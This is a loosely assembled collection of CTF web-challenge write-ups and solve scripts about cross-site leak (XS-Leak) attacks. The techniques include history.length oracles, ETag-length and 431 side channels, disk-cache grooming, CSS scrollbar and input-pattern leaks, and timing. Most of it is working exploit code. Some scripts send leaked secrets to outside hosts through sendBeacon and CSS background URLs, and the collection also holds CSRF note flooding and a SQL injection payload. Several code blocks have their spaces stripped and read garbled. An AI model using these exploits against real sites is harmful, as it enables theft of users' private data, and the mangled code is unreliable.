bot js same as ad-note revenge below

Ad-note revenge writeup

&<>"'
<script>
  const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

  const key = "foo";
  const val = "bar";
  const base = "<https://notes-revenge-7j6b6.instancer.lac.tf/>";

  const chrs = "abcdef0123456789";
  addEventListener("load", async () => {
    let known = "";
    while (known.length < 8) {
      let results = [];
      await Promise.all(
        Array.from(chrs, async (c) => {
          const current = known + c;

          const blob = new Blob(["<iframe id=x></iframe>"], {
            type: "text/html",
          });
          const w = open(URL.createObjectURL(blob));
          while (w.length == 0) await sleep(1);
          const iframe = w.x;

          iframe.src = `${base}?${encodeURIComponent(key)}&referrerPolicy=${encodeURIComponent(val)}&search=${current}`;

          while (iframe.contentWindow.length < 6) await sleep(1);
          await sleep(1000);
          const l1 = w.history.length;
          for (let i = 0; i < iframe.contentWindow.length; i++) {
            iframe.contentWindow[i].location = "about:srcdoc";
            await sleep(200);
          }
          let l2 = w.history.length;
          while (l2 - l1 !== iframe.contentWindow.length) {
            await sleep(1);
            if (results.length === chrs.length - 1) {
              known = current;
              navigator.sendBeacon("<https://attacker.site/?leak=>" + known);
              console.log(new Date());
              results = [];
              w.close();
              return;
            }
            l2 = w.history.length;
          }
          w.close();
          results.push(current);
        }),
      );
    }
  });
</script>

import asyncio
import httpx, json
# from pyngrok import ngrok
from flask import Flask, request, make_response
from threading import Thread

PORT = 4444
# TUNNEL = httpx.URL(ngrok.connect(PORT, "http").public_url)
TUNNEL = "http://1pc.tf:4444"
TARGET = httpx.URL("http://localhost:4000")

print("TUNNEL:", TUNNEL)

URL = "https://94.237.48.219:41733/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, verify=False)
        self.session = ""
class API(BaseAPI):
    ...
def webServer():
    app = Flask(__name__)
    already = {}

    @app.get("/")
    def index():
        response = make_response(r"""
            <script>
                localStorage.clear()
                const TARGET = new URL("%s")
                const charset_hex = "0123456789abcdef"
                let secret = ""
                const sleep = ms => new Promise(r => setTimeout(r, ms))
                async function main(){
                    for (let i = 0; i < 8; i++) {
                        for (let j = 0; j < charset_hex.length; j++) {
                            const guess = secret + charset_hex[j]
                            const w = open("/start?guess="+guess, '_blank', 'noopener,noreferrer')
                            await sleep(5000)
                            if (localStorage.getItem("oracle_"+guess) == 'true') {
                                secret = guess
                                break
                            }
                        }
                    }
                }
                main()
            </script>
        """ % (str(TARGET)))
        response.headers["Cross-Origin-Opener-Policy"] = "same-origin"
        return response
    @app.get("/start")
    def start():
        guess = request.args.get("guess")
        response = make_response("""
            <script type="module">
                window.onpageshow = async function(event) {
                    const guess = "%s"
                    const visited = localStorage.getItem(guess) === 'true';
                    if (!visited) {
                        localStorage.setItem(guess, true);

                        setTimeout(() => {
                            window.location.href = '/redirect/4?guess='+guess;
                        }, 100);

                        return;
                    }
                    const oracle = performance.getEntriesByType("navigation")[0]?.notRestoredReasons ? true : false;
                    console.log(guess, performance.getEntriesByType("navigation")[0]?.notRestoredReasons, event.persisted);
                    localStorage.setItem("oracle_"+guess, oracle);
                };
            </script>
        """ % (guess))
        response.headers["Cache-Control"] = "no-store"
        return response    
    @app.get("/redirect/<until>/<now>")
    def redirect_until_now(until, now):
        guess = request.args.get("guess")
        response = make_response()
        response.headers["Cache-Control"] = "no-store"

        if int(now) == int(until):
            response.set_data(r"""
            <script>
                setTimeout(() => {
                    const TARGET = new URL("%s")
                    window.location.href = TARGET.origin + "/append?content=%s&url="+location.origin+"\\\\@"+TARGET.hostname
                }, 100);
            </script>
            """ % (str(TARGET), guess))
        else:
            response.set_data("""
            <script>
            setTimeout(() => {
                window.location.href = "/redirect/" + "%s" + "/" + "%s?guess=%s";
            }, 100);
            </script>
        """  % (until, int(now) + 1, guess))
        return response 
    @app.get("/redirect/<until>")
    def redirect_until(until):
        return redirect_until_now(until, 0)


    @app.get("/@"+TARGET.host)
    def go_7():
        return """
            <script>
                history.go(-7);
            </script>
        """
    return Thread(target=app.run, args=('0.0.0.0', PORT))



async def main():
    api = API()
    server = webServer()
    server.start()
    server.join()

if __name__ == "__main__":
    asyncio.run(main())

Solution

Step 1: ETag Header Length

The first step in solving such challenges is to carefully compare observable differences between:

When the search hits:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 484
ETag: W/"1e4-Mfh5EeZSATTUBTZ0fvEzgdvLYu4"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

When it misses:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 443
ETag: W/"1bb-Ouz/TB1WQCg6QhEFVloBFY6TJKk"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

The response body is larger when it hits (because it renders the matching note), so Content-Length changes. The key observation is that the ETag value changes too and more importantly, its length can change.

In this app, the ETag is generated by jshttp/etag. The format includes the content size in hex as a prefix:

W/"{{ stat.size.toString(16) }}-{{ stat.mtime.getTime().toString(16) }}"

Reference: https://github.com/jshttp/etag/blob/v1.8.1/index.js#L126-L131

Because the size is encoded in hex, the number of hex digits changes at boundaries (e.g., 0xfff -> 0x1000). That means the ETag length can differ by 1 depending on whether the response size crosses such a boundary.

In this challenge, we can control the response size by abusing CSRF to create many notes in the victim's session. This allows us to manipulate the total response size so that:

It produces a 1-byte difference in the ETag length.

Below is an example CSRF page that prepares two prefixes: one that matches the flag note (SECCON{r...) and one that does not.

<body>
<formid="create"action="..."method="post"target="csrf">
<inputtype="text"name="note"/>
</form>
<scripttype="module">
constBASE_URL="http://web:3000";

constsleep=(ms)=>newPromise((resolve)=>setTimeout(resolve, ms));

const csrfWin=open("about:blank","csrf");
constcreateNote=async(note)=>{
const form=document.forms[0];
      form.action=`${BASE_URL}/new`;
      form.note.value= note;
      form.submit();
awaitsleep(100);
};

const prepared=newSet();
constprepare=async(prefix)=>{
if(prepared.has(prefix))return;
      prepared.add(prefix);

const initialLen=443;
const part="\n        <li>"+"</li>\n      ";

let len= initialLen;
while(16**3- len- part.length-1>0){
const note= prefix.padEnd(
Math.min(1024,16**3- len- part.length-1),
"*"
);
        len+= note.length+ part.length;
awaitcreateNote(note);
}
};

awaitprepare("SECCON{r");// Matches `SECCON{redacted}`
awaitprepare("SECCON{x");// Does not match `SECCON{redacted}`
</script>
</body>

After visiting the page, the responses appear as follows.

Hit (?query=SECCON{r):

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 4136
ETag: W/"1028-7DssyPmtuJFW+hsMczlljuIGJC8"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

Miss (?query=SECCON{x):

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 4095
ETag: W/"fff-j/5Cw0uvoM8vDCtG7hABgyD9RvM"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

info

The ETag format is implementation-defined. In particular, many implementations (including jshttp/etag) can generate ETags whose length is not constant.

Examples of software that can generate variable-length ETags:

Step 2: 431 Status Error

What can we do with this 1-byte difference in ETag length?

If a response includes an ETag header, a subsequent request to the same URL will include the If-None-Match header:

So the request headers on the second navigation become slightly longer in the hit case.

Many web servers enforce a maximum allowed size for request headers (including the request-line) as a DoS mitigation. If the request exceeds this limit, the server returns 431 Request Header Fields Too Large.

In this challenge, Express runs on node:http, which has a request header size limit http.maxHeaderSize (default: 16 KiB):

https://github.com/nodejs/node/blob/v25.2.1/src/node_options.h#L159

uint64_t max_http_header_size=16*1024;

By padding the URL so that the total header size is right at the threshold, the extra 1 byte in If-None-Match can be the difference between:

If the URL is "http://web:3000?query=SECCON{r&" + "X".repeat(15834) (hit case):

If the URL is "http://web:3000?query=SECCON{x&" + "X".repeat(15834) (miss case):

Step 3: History API Behavior

Now we need to detect whether or not a 431 error occurs on cross-site pages.

Normally, cross-origin status codes are opaque. However, in this case, we can exploit a Chromium-specific behavior regarding session history updates.

When a navigation happens, the browser typically "pushes" a new history entry, increasing history.length by 1. However, Chromium sometimes "replaces" the current entry instead of pushing a new one.

Chromium uses should_replace_current_entry to decide between "push" and "replace":

https://chromium.googlesource.com/chromium/src/%2B/refs/heads/main/content/browser/renderer_host/navigation_request.cc#7020

      blink::mojom::NavigationApiEntryRestoreReason reason=
          common_params_->should_replace_current_entry
? blink::mojom::NavigationApiEntryRestoreReason::
                    kPrerenderActivationReplace
: blink::mojom::NavigationApiEntryRestoreReason::
                    kPrerenderActivationPush;

One condition that can cause "replace" is when a navigation to the same URL fails (with an invalid page_state):

Therefore, if we navigate to the same URL twice in a row and the second navigation fails due to a 431 error, those two navigations contribute only one new history entry (because the second navigation replaces the first).

This means we can detect 431 by measuring history.length on a window we control.

A minimal demo looks like this:

let win=open("about:blank");

constgetUrl=(prefix, padLength, nonce)=>
`${BASE_URL}/?${newURLSearchParams({
query: prefix,
pad: nonce.padEnd(padLength,"x"),
})}`;

constgot431=async(prefix, padLength)=>{
awaitprepare(prefix);

const nonce=(Math.random()+"").padEnd(20,"0");
const url=getUrl(prefix, padLength, nonce);

const len1= win.history.length;

      win.location= url;
awaitsleep(100);
      win.location= url;
awaitsleep(100);
      win.location="about:blank";
awaitsleep(100);
const len2= win.history.length;

const diff= len2- len1;
// If a 431 error occurs: diff === 2
// Otherwise: diff === 3

console.log({ prefix, len1, len2, diff});
return diff===2;
};

const threshold=15822;// TODO: Not implemented

console.log(awaitgot431("SECCON{r", threshold));// -> true
console.log(awaitgot431("SECCON{x", threshold));// -> false

The following diagrams illustrate the concept.

When searching for

SECCON{r

(flag note

hit

):

When searching for

SECCON{x

(flag note

miss

):

Putting It All Together

The final exploit combines:

The final exploit looks like this:

<body>
<formid="create"action="..."method="post"target="csrf">
<inputtype="text"name="note"/>
</form>
<scripttype="module">
constBASE_URL="http://web:3000";
constCHARS=[..."_abcdefghijklmnopqrstuvwxyz"];

constsleep=(ms)=>newPromise((resolve)=>setTimeout(resolve, ms));
constdebug=(o)=>navigator.sendBeacon("/debug",JSON.stringify(o));
// const debug = (o) => console.log(o);

let known=newURLSearchParams(location.search).get("known")??"SECCON{";

const csrfWin=open("about:blank","csrf");
constcreateNote=async(note)=>{
const form=document.forms[0];
      form.action=`${BASE_URL}/new`;
      form.note.value= note;
      form.submit();
awaitsleep(100);
};

const prepared=newSet();
constprepare=async(prefix)=>{
if(prepared.has(prefix))return;
      prepared.add(prefix);

const initialLen=443;
const part="\n        <li>"+"</li>\n      ";

let len= initialLen;
while(16**3- len- part.length-1>0){
const note= prefix.padEnd(
Math.min(1024,16**3- len- part.length-1),
"*"
);
        len+= note.length+ part.length;
awaitcreateNote(note);
}
};

let win=open("about:blank");

constgetUrl=(prefix, padLength, nonce)=>
`${BASE_URL}/?${newURLSearchParams({
query: prefix,
pad: nonce.padEnd(padLength,"x"),
})}`;

constgot431=async(prefix, padLength)=>{
awaitprepare(prefix);

const nonce=(Math.random()+"").padEnd(20,"0");
const url=getUrl(prefix, padLength, nonce);

const len1= win.history.length;

      win.location= url;
awaitsleep(100);
      win.location= url;
awaitsleep(100);
      win.location="about:blank";
awaitsleep(100);
const len2= win.history.length;

const diff= len2- len1;
// If a 431 error occurs: diff === 2
// Otherwise: diff === 3

if(len2>45){
// In Chromium, the maximum number of `history.length` is 50.
// ref. https://source.chromium.org/chromium/chromium/src/+/df9f2fd80f9b8697c877c2c7e7f19d9f389291b8:third_party/blink/public/common/history/session_history_constants.h;l=11
        win.close();
        win=open("about:blank");
awaitsleep(100);
}

debug({ prefix, len1, len2, diff});
return diff===2;
};

let left=10000;
let right=18000;
constgetThreshold=async()=>{
      left-=50;
while(right- left>1){
const mid=(right+ left)>>1;
if(awaitgot431(known+"X", mid)){
          right= mid;
}else{
          left= mid;
}
}

return left;
};

while(true){
const threshold=awaitgetThreshold();
debug({length: known.length, threshold});
let exists=false;
for(const cofCHARS){
if(awaitgot431(known+ c, threshold)){
          known+= c;
          exists=true;
navigator.sendBeacon("/leak", known);
break;
}
}
if(!exists)break;
}

const flag= known+"}";
navigator.sendBeacon("/flag", flag);
</script>
</body>

Full exploit:

Example run:

$ docker run-it--rm \
-eBOT_BASE_URL=http://impossible-leak.seccon.games:1337 \
-eCONNECTBACK_URL=http://attacker.example.com \
-p8080:8080 \
(docker build-q./solution)
Report:1
[DEBUG]{"prefix":"SECCON{X","len1":0,"len2":3,"diff":3}
[DEBUG]{"prefix":"SECCON{X","len1":3,"len2":5,"diff":2}
[DEBUG]{"prefix":"SECCON{X","len1":5,"len2":8,"diff":3}
...
[DEBUG]{"prefix":"SECCON{X","len1":30,"len2":32,"diff":2}
[DEBUG]{"length":7,"threshold":15799}
[DEBUG]{"prefix":"SECCON{_","len1":32,"len2":35,"diff":3}
[DEBUG]{"prefix":"SECCON{a","len1":35,"len2":38,"diff":3}
[DEBUG]{"prefix":"SECCON{b","len1":38,"len2":41,"diff":3}
[DEBUG]{"prefix":"SECCON{c","len1":41,"len2":44,"diff":3}
[DEBUG]{"prefix":"SECCON{d","len1":44,"len2":47,"diff":3}
[DEBUG]{"prefix":"SECCON{e","len1":0,"len2":3,"diff":3}
[DEBUG]{"prefix":"SECCON{f","len1":3,"len2":6,"diff":3}
[DEBUG]{"prefix":"SECCON{g","len1":6,"len2":9,"diff":3}
[DEBUG]{"prefix":"SECCON{h","len1":9,"len2":12,"diff":3}
[DEBUG]{"prefix":"SECCON{i","len1":12,"len2":15,"diff":3}
[DEBUG]{"prefix":"SECCON{j","len1":15,"len2":18,"diff":3}
[DEBUG]{"prefix":"SECCON{k","len1":18,"len2":21,"diff":3}
{known:'SECCON{l'}
[DEBUG]{"prefix":"SECCON{l","len1":21,"len2":23,"diff":2}
[DEBUG]{"prefix":"SECCON{lX","len1":23,"len2":26,"diff":3}
...
{known:'SECCON{lu'}
[DEBUG]{"prefix":"SECCON{lu","len1":9,"len2":11,"diff":2}
[DEBUG]{"prefix":"SECCON{luX","len1":11,"len2":14,"diff":3}
[DEBUG]{"prefix":"SECCON{luX","len1":14,"len2":17,"diff":3}
...
{flag:'SECCON{lumiose_city}'}

Other Cases

In this writeup, we turned an ETag length difference into an XS-Leak oracle. A closely related variant exists where the oracle relies on a binary state: Does the response have an ETag or not?

Here is an example from a past CTF (as an unintended solution) where this applies:

It is an XS-Leak challenge where HTML injection exists (CSP prevents XSS). However, using the technique described in this article, it becomes solvable even without relying on HTML injection.

In the application, normal pages include an ETag. On the other hand, the GET /search API uses res.end when no results are found, which results in the ETag being omitted entirely. This makes the "ETag presence vs. absence" observable using the same oracle approach described here.

https://github.com/tepel-chen/My-CTF-Challs/blob/main/Full%20Weak%20Engineer%20CTF%202025/Ippon%20Practice%20Tool/attachment/app/index.ts#L172-L180

const answers=await db.all(
`SELECT a.id, o.text, a.created_at FROM answer AS a INNER JOIN odai AS o ON a.odai=o.id WHERE owner = ? AND content LIKE ? ESCAPE '\\' ORDER BY created_at DESC`,
    uid,
`%${escapeLike(q)}%`
);

if(answers.length===0){
return res.end("<html><body>Not found. <a href='/'>Home</a></body></html>");
}

Conclusion

I showed that it is possible to leak the length of an ETag from a cross-site page, turning it into an XS-Leak oracle by leveraging 431 errors and a History API behavior in Chromium.

The ETag header can become a side channel :)

XS Leaks using disk cache grooming

https://gist.github.com/parrot409/e3b546d3b76e9f9044d22456e4cc8622

The admin bot creates a new browsing context with createBrowsingContext() and uses that to create a page. Each browsing context should have a dedicated disk cache but how does chrome handle this? I deduced that it uses in-memory disk cache and it's much smaller than the default on-disk disk cache. The incognito tab of my browser has the same behavior.

The following page alerts "not cached" due to cache miss in incognito mode but no error happens in a regular tab.

$ head /dev/urandom -c 5242880 > chunk
$ cat <<EOF > index.html
<script>
(async _=>{
   for(let i=0;i<20;i++) await fetch('/chunk?'+i)
   try {
       for(let i=0;i<20;i++) await fetch('/chunk?'+i,{cache:'only-if-cached',mode:'same-origin'})
   } catch(e){ alert('not cached') }
})()
</script>
EOF
$ python3 -m http.server 2000

The exploit uses the following strategy:

We essentially "groom" the disk cache so that there's room for 200 entries from failed queries, but not enough room for 200 entries from successful queries.

The search page size is 433 bytes for a failed query and 433 + flag.length bytes when the query matches part of the flag. This creates a size difference of flag.length * 200 bytes between bad and good searches. For a flag length of 24, this is about 5KB. A larger gap makes the detection less error prone.

We can tell whether the cache was filled by a successful query by probing the first inserted 1 byte entry. When the cache limit is reached, the first entry gets evicted. Note that I think Chromium's eviction logic is more complex. in my testing it kept evicting the oldest entry once the limit is hit.

I believe this technique can be reused against xsleaks search challenges where caching is not disabled on the search page. The downside is that it leaks only one state per run. It may be possible to perform multiple queries by clearing the cache or using a similar reset mechanism.

For homework , we used img's alt message for triggering lazy loading to determine whether server responded valid image (200) or not (40x, 50x)

<input type="text" name="score">
<a href="#leaker" id="setScoreBtn">asdf</a>
<div style="width: 9999px; height: 9999px; display: block"></div>
<div id="leaker">

<div style="font-size: 10rem; overflow-x: auto; white-space: nowrap">
    <div style="width: 40px;  height: 30px;">
        <img src="/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2=0%25" alt="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        <img style="margin-left: 30px" loading="lazy" src="/api/homework/mark?id=....&score=10">
    </div>
</div>

<div style="font-size: 10rem; overflow-x: auto; white-space: nowrap">
    <div style="width: 40px; height: 30px;">
        <img src="/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2=81%25" alt="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        <img style="margin-left: 30px" loading="lazy" src="/api/homework/mark?id=....&score=11">
    </div>
</div>

payload = f'''
<img src="/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2={founded}{hex(i)[2:]}%25" usemap="#web-link-map" id="setScoreBtn">
<map name="web-link-map">
<area target="_blank" href="/api/homework/mark?id={scores[str(i)]}&score=1337" coords="10, 10, 4000,4000" shape="rect">
</map>
'''
r = s.post(f"{base}/api/homework/create", json={"title": f"ex-{str(x)}-{str(i)}", "content": payload}, verify=False)

also img combined with map could be solution for homework chall.

puppeteer's click method actually click the center point of target html tag area, so when /api/user/avatar match, it returns right image to click it, but otherwise, it cannot click the image. So I could get token one by one with the difference of score(triggerd by mark func)

for the homework chall, we can also clobber setScoreBtn, cuz the original setScoreBtn element is below of our injection point. maybe we can then leak the X-API-Key header:

<a href='<http://attacker.com/>' id='setScoreBtn'>clobbered</a>

bot:

// set a random score for the homework
let score = 1 + crypto.randomInt(100);
await page.type('[name="score"]', score.toString());
await page.click('[id="setScoreBtn"]');
await sleep(1000);
await page.close();

but it doesn't seem to work on the bot? in fact, if we simply inject <img src='<http://attacker.com/>'>, the bot doesn't seem to fetch the request

You are correct that XSS probably doesn't work here.

The first step is to leak teacher's api_key through /api/user/avatar. Notice that the endpoint returns an image if and only if the condition is true. So we did SS-leak.

I used the fact that the bot had ignoreDefaultArgs: ["--hide-scrollbars"],, so we can detect if the scrollbars is there using CSS. Make it so that the if the image is rendered, the DOM is big enough that the scrollbar appears. Then, use /api/homework/mark as an background image so that you can detect if the scrollbar appeared afterwards.

chrs = string.hexdigits

known = ""
IMG_REPEAT = 5
while len(known) < 10:
    for c in chrs:
        current = known + c
        payload = f"<img src='/api/homework/mark?id={test_id}&score={current_score + 1}'><style>.lol{{overflow: auto;height: 500px}} .lol::-webkit-scrollbar{{background: url('/api/homework/mark?id={test_id}&score={current_score + 2}')}}</style><div class='lol'>{f"<img src='/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2={current}%25'><br>"*IMG_REPEAT}</div>"

        while True:
            r = s.post(URL + "api/homework/create", json={
                "content": payload,
                "title": "bar"
            })
            if "created successfully" in r.text:
                break
            print(r.headers)
            time.sleep(int(r.headers.get("retry-after", "5")))
        _id = re.findall(r"Homework (.+) created successfully", r.text)[0]
        print(_id)
        while True:
            r = s.get(URL + "captcha")
            open("captcha.svg", "wb").write(r.content)
            captcha_val = SvgCaptchaSolver().solve_captcha("captcha.svg")
            r = s.post(URL + "report", data={
                "id": _id,
                "captcha": captcha_val
            })
            if "Your homework will be reviewed soon" in r.text:
                break

        time.sleep(30)

        while True:
            r = s.get(URL + "api/homework/view", params={
                "id": test_id
            })
            print(r.json())
            score = r.json()["score"]
            if score != current_score and score != 1337000:
                break
            time.sleep(5)
        if score == current_score + 2:
            current_score += 2
            known = current
            print(known)
            break
        current_score += 1
        print("X " + current)
    else:
        print("!?!?!")
        exit()

And the last step is just SQLi puzzle ')=1 UNION SELECT NULL,1,'',$$,1--.

<!DOCTYPE html>
<html>
  <head>
    <title>pepega</title>
  </head>
  <body>
    <script>
      //fetch(`/?page_opened`); // these were originally used to diagnose errors when testing on remote: sometimes the admin bot would die and it wouldn't be clear why, so I would use these statemenets to see how far it got into the solve script
      const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"; // observe that this doesn't include curly braces. we'll have to figure out when the flag ends by looking for a suspicous number of underscores
      const remote = "ws://localhost:3000/ws";

      const urlParams = new URLSearchParams(window.location.search);
      const time = urlParams.get('time') || -1; // this represents the lag from the previous guess
      let base = urlParams.get('base') || "corctf{"; // this represents our current known flag
      let leftidx = parseInt(urlParams.get('leftidx')) || 0;
      let rightidx = parseInt(urlParams.get('rightidx')) || chars.length;
      const count = parseInt(urlParams.get('count')) || 15; // how many phrases to register? this number is actually doubled, so this corresponds to 30 phrases registered
      let mid = Math.floor((leftidx + rightidx)/2);
      console.log(`Leftidx at ${leftidx} and rightidx at ${rightidx}`);
      console.log(`Midpoint is at ${mid}`);
      if (time > 2000) { // match!
        console.log(`Matched, rightidx needs to come down to ${mid}`);
        rightidx = mid;
      }
      else if (time > 0) { // no match!
        console.log(`No match, leftidx needs to go up to ${mid+1}`);
        leftidx = mid+1;
      }
      if (leftidx == rightidx) { // found!
        base = base + chars[leftidx];
        console.log(base);
        leftidx = 0;
        rightidx = chars.length - 1;
      }
      mid = Math.floor((leftidx + rightidx)/2);
      console.log(`Testing from ${chars[leftidx]} to ${chars[mid]}`);
      const banned_phrases = [];
      for (let i = leftidx; i < mid+1; i++) {
        banned_phrases.push(base + chars[i]);
      }
      // we can't actually use "[" and "]", because those characters appear on parts of our webpages, causing the extension to trigger and lag out inappropriately. we could easily use "[C" and "D]" here, but doing it this way is more aesthetically pleasing
      for (let i = 0; i < count; i++) {
        banned_phrases.push('[CENS');
        banned_phrases.push('ORED]');
      }
      //fetch(`/?math_finished`);

      // like with corctf-challenge-dev, i find it much more elegant to register a MutationObserver than to sleep
      const extension_form_observer = new MutationObserver(async () => {
        const button = document.querySelector('#resync');
        if (button) { // button exists, ready to sync
          //fetch(`/?button_hooked`);
          if (button.textContent === "Synced!") { // rules obtained from websocket, ready to send to timing
            //fetch(`/?synced`);
            console.log("Button says 'Synced!', redirecting!");
            await new Promise(r => setTimeout(r, 200)); // sometimes the rules take just a little longer to fully register, not sure why?
            window.location.href = `./timing.html?base=${base}&leftidx=${leftidx}&rightidx=${rightidx}&count=${count}`;
          }
          else if (button.textContent === "Resync block settings") { // register rules    
            //fetch(`/?hooking_socket`);
            let socket = new WebSocket(remote);
            socket.onopen = (event) => {
              console.log(`Connected.`);
            };

            let state = 0;

            socket.onmessage = async (event) => {
              console.log(`Websocket received message: ${event.data}`);
              if (state === 0) {
                console.log("Sending name...");
                socket.send("a");
                state++;
              }
              else if (state === 1) {
                console.log("Sending password...");
                socket.send("a");
                state++;
              }
              else if (state === 2) {
                console.log("Rejecting update...");
                socket.send("no");
                console.log("Sending payload...");
                socket.send(JSON.stringify({type: 'update', feed: "pwn", banned_phrases: banned_phrases}));
                state++;
              }
              else {
                //fetch(`/?trigger_button`);
                console.log("Clicking button...");
                button.click()
              }
            };
          }
        }
      });

      extension_form_observer.observe(document.body, {
        childList: true,
        subtree: true
      });
    </script>
    <h1>yep</h1>
  </body>
</html>

<!DOCTYPE html>
<html>
  <head>
    <title>pepega</title>
  </head>
  <body>
    <script>
      let i = 0;
      let longest_wait = 0;
      function trigger() {
        let iframe = document.getElementById('snoop');
        if (i == 0) { // first load, doesnt count
          start = performance.now();
          iframe.src = iframe.src;
          i++;
        }
        else if (i < 10 && longest_wait < 2000) {
          longest_wait = Math.max(performance.now() - start, longest_wait);
          console.log(longest_wait);
          if (longest_wait > 2000) {
            report(longest_wait);
          }
          start = performance.now();
          iframe.src = iframe.src;
          i++;
        }
        else {
          report(longest_wait);
        }
      }
      
      function report(time) {
        const urlParams = new URLSearchParams(window.location.search);
        const base = urlParams.get('base');
        const leftidx = urlParams.get('leftidx');
        const rightidx = urlParams.get('rightidx');
        const count = urlParams.get('count');
        window.location.href = `./staging.html?base=${base}&leftidx=${leftidx}&rightidx=${rightidx}&count=${count}&time=${time}`;
      }
      
      let start = performance.now();
    </script>
    <iframe id="snoop" src="https://[VICTIM_SITE]/challenge/flag" onload="trigger()">
  </body>
</html>

<!DOCTYPE html>
<html>
<head><title>Memory Hog Loop - Link Click</title></head>
<body>
    <h1>Forcing Memory Pressure - Load <span id="count-display">?</span></h1>
    <p>Using link clicking for history entries.</p>
    <a id="next-link" style="display:none;"></a> <!-- Placeholder link -->

    <script>
        const MAX_LOADS = 20; // Load counts 0 through 19
        // To definitely go back past *all* loop pages + the original page before loop: -(MAX_LOADS + 1)
        // Or adjust based on how many pages were truly before this started.
        const HISTORY_STEPS_BACK = -22; // Example: Go back past 20 loop pages + 2 previous pages
        const MEMORY_ALLOC_MB = 1; // Allocate ~50MB per page load
        const ALLOC_CHUNK_SIZE = 1024 * 1024; // Allocate in 1MB chunks

        const urlParams = new URLSearchParams(window.location.search);
        let currentCount = parseInt(urlParams.get('count') || '0', 10);
        if (isNaN(currentCount)) currentCount = 0;

        document.getElementById('count-display').textContent = currentCount;
        console.log(`Memory Hog Page loaded. Count: ${currentCount}. History length: ${history.length}`);

        // --- Attempt to allocate memory ---
        let allocations = []; // Keep reference within this scope
        try {
            console.log(`Attempting to allocate ~${MEMORY_ALLOC_MB} MB...`);
            const targetBytes = MEMORY_ALLOC_MB * 1024 * 1024;
            let allocatedBytes = 0;
            while(allocatedBytes < targetBytes) {
                // Check available memory heuristically (very rough, not standard)
                if (typeof performance !== 'undefined' && performance.memory) {
                    if (performance.memory.usedJSHeapSize > performance.memory.jsHeapSizeLimit * 0.85) {
                         console.warn("Approaching JS heap limit, stopping allocation.");
                         break;
                    }
                }
                allocations.push(new Uint8Array(ALLOC_CHUNK_SIZE)); // Allocate chunk
                allocatedBytes += ALLOC_CHUNK_SIZE;
            }
            console.log(`Allocated ~${(allocatedBytes / (1024*1024)).toFixed(2)} MB. Total allocations stored: ${allocations.length}`);
        } catch (e) {
            console.error("Memory allocation failed (maybe limit reached?):", e);
            // Clear potentially partial allocations on error
             allocations = [];
        }
        // 'allocations' array reference is held until page navigates away

        // --- Loop Logic ---
        if (currentCount < MAX_LOADS) {
            const nextCount = currentCount + 1;
            const nextSearch = '?count=' + nextCount;
            const nextUrl = window.location.pathname + nextSearch; // Ensure path is included

            console.log(`Count ${currentCount} < ${MAX_LOADS}. Preparing navigation to ${nextUrl}`);

            // *** Use link clicking strategy ***
            try {
                const link = document.getElementById('next-link');
                if (!link) throw new Error("Link element not found");
                link.href = nextUrl;
                console.log(`Clicking hidden link to: ${link.href}`);
                 // Use a small timeout to ensure the current script execution context unwinds
                 // before the click-triggered navigation starts. This can sometimes help.
                setTimeout(() => {
                    link.click();
                }, 50); // 50ms delay before clicking

            } catch (e) {
                 console.error("Failed to trigger link click:", e);
                 // Fallback or error handling? Maybe try location.assign as a last resort?
                 // console.log("Falling back to location.assign...");
                 // window.location.assign(nextUrl); // assign() is *supposed* to add history too
            }

        } else {
            // --- Max loads reached ---
            console.log(`Max loads (${currentCount}) reached. Preparing final actions.`);
            console.log(`Final history length: ${history.length}`);

            window.open('https://safestnote.dicec.tf/?note=<form%20method=get><input%20name=note%20type=text%20pattern=^dice.i_gu3ss_1t_w4sn7_th3_saf3st_735fcf85.*%20/></form><style>input:valid%20{background:url(//imjov2iq.requestrepo.com/start);}input:invalid%20{background:url(//imjov2iq.requestrepo.com/bad);}</style>');
            // try { window.open(EXPLOIT_URL); } catch (e) { console.error(e); }
            // [1234567890abcdef]
            // [1234567890qwertyuiopasdfghjklzxcvbnmABCDEFGHIJKLMNOPQRSTUVWXYZ_]
            console.log(`Navigating back ${HISTORY_STEPS_BACK} steps.`);
            setTimeout(() => { // Delay allows listeners/payload action potentially
                 history.go(HISTORY_STEPS_BACK);
            }, 1000); // Slightly longer delay before final jump

        }

        // Optional: Log memory usage if available
        if (typeof performance !== 'undefined' && performance.memory) {
            console.log(`Memory usage: Used ${Math.round(performance.memory.usedJSHeapSize / 1024 / 1024)}MB, Limit ${Math.round(performance.memory.jsHeapSizeLimit / 1024 / 1024)}MB`);
        }

    </script>
</body>
</html>

<script>
  // Purge bfcache, timeout to make sure history is updated
  let i = +location.search.slice(1) || 0;
  if (i < 6) {
    setTimeout(() => {
      location = location.pathname + '?' + (++i);
    }, 200);
  } else {
    // Binary search: abcdefghijklmnopqrstuvwxyz_0123456789
    window.open(`https://safestnote.dicec.tf/?note=
      <form method=get>
        <input name=note type=text pattern=^dice.i_gu3ss_1t_w4sn7_[abcdefghijklmnopqrst].* />
      </form>
      <style>
        input:valid {background:url(//fd0x8l1e.requestrepo.com/1);}
        input:invalid {background:url(//fd0x8l1e.requestrepo.com/0);}
      </style>
    `.replace(/\n/g, ''));
    setTimeout(() => {
      history.go(-8);
    }, 1000);
  }
</script>

itended

nobin intended solution:

